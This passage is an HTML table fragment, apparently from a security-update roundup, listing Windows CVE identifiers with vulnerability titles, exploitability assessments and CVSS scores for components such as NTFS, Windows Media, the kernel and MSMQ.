href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50390">CVE-2026-50390</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50423">CVE-2026-50423</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50397">CVE-2026-50397</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50436">CVE-2026-50436</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50399">CVE-2026-50399</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50459">CVE-2026-50459</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50477">CVE-2026-50477</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50478">CVE-2026-50478</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50484">CVE-2026-50484</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50673">CVE-2026-50673</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58532">CVE-2026-58532</a></td><td><p>Windows Kernel Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50294">CVE-2026-50294</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50316"><br>CVE-2026-50316</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50419">CVE-2026-50419</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50463">CVE-2026-50463</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50475">CVE-2026-50475</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50429">CVE-2026-50429</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58614">CVE-2026-58614</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58545">CVE-2026-58545</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58602">CVE-2026-58602</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50393">CVE-2026-50393</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50396">CVE-2026-50396</a></td><td><p>Windows Kernel-Mode Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50378">CVE-2026-50378</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50303">CVE-2026-50303</a></td><td><p>Windows Key Guard Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40378">CVE-2026-40378</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49799">CVE-2026-49799</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50371">CVE-2026-50371</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58544">CVE-2026-58544</a></td><td><p>Windows Management Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50404">CVE-2026-50404</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50358">CVE-2026-50358</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50336">CVE-2026-50336</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50398">CVE-2026-50398</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50414">CVE-2026-50414</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50379">CVE-2026-50379</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50433">CVE-2026-50433</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50676">CVE-2026-50676</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50677">CVE-2026-50677</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34349">CVE-2026-34349</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50394">CVE-2026-50394</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50415">CVE-2026-50415</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57083">CVE-2026-57083</a></td><td><p>Windows Media Photo Codec Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50327">CVE-2026-50327</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58542">CVE-2026-58542</a></td><td><p>Windows Media Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54115">CVE-2026-54115</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50505">CVE-2026-50505</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50342">CVE-2026-50342</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56183">CVE-2026-56183</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56187">CVE-2026-56187</a></td><td><p>Windows MIDI Service Module Elevation of Privileges Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58635">CVE-2026-58635</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50500">CVE-2026-50500</a></td><td><p>Windows Netlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56181">CVE-2026-56181</a></td><td><p>Windows Network Address Translation (NAT) Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50476">CVE-2026-50476</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50450">CVE-2026-50450</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56650">CVE-2026-56650</a></td><td><p>Windows Network File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56649">CVE-2026-56649</a></td><td><p>Windows Network File System Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50470">CVE-2026-50470</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50496">CVE-2026-50496</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56194">CVE-2026-56194</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56648">CVE-2026-56648</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50337">CVE-2026-50337</a></td><td><p>Windows Notification Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49789">CVE-2026-49789</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50412">CVE-2026-50412</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50422">CVE-2026-50422</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50672">CVE-2026-50672</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56175">CVE-2026-56175</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56182">CVE-2026-56182</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50341">CVE-2026-50341</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58640">CVE-2026-58640</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49184">CVE-2026-49184</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49797">CVE-2026-49797</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50308">CVE-2026-50308</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50386">CVE-2026-50386</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50309">CVE-2026-50309</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50313">CVE-2026-50313</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50388">CVE-2026-50388</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50448">CVE-2026-50448</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50471">CVE-2026-50471</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50461">CVE-2026-50461</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50417">CVE-2026-50417</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50482">CVE-2026-50482</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50494">CVE-2026-50494</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50344">CVE-2026-50344</a></td><td><p>Windows OLE Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50686">CVE-2026-50686</a></td><td><p>Windows OLE Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50335">CVE-2026-50335</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50317">CVE-2026-50317</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54987">CVE-2026-54987</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50435">CVE-2026-50435</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50409">CVE-2026-50409</a></td><td><p>Windows Overlay Filter Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40400">CVE-2026-40400</a></td><td><p>Windows PowerShell Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49166">CVE-2026-49166</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55004">CVE-2026-55004</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50499">CVE-2026-50499</a></td><td><p>Windows Print Spooler Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50383">CVE-2026-50383</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57085">CVE-2026-57085</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58608">CVE-2026-58608</a></td><td><p>Windows Print Spooler Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50469">CVE-2026-50469</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50434">CVE-2026-50434</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50339">CVE-2026-50339</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50430">CVE-2026-50430</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50334">CVE-2026-50334</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44800">CVE-2026-44800</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50363">CVE-2026-50363</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50431">CVE-2026-50431</a></td><td><p>Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50372">CVE-2026-50372</a></td><td><p>Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54982">CVE-2026-54982</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54995">CVE-2026-54995</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50666">CVE-2026-50666</a></td><td><p>Windows Remote Access Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56647">CVE-2026-56647</a></td><td><p>Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50330">CVE-2026-50330</a></td><td><p>Windows Remote Desktop Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50376">CVE-2026-50376</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50504">CVE-2026-50504</a></td><td><p>Windows Remote Desktop Client 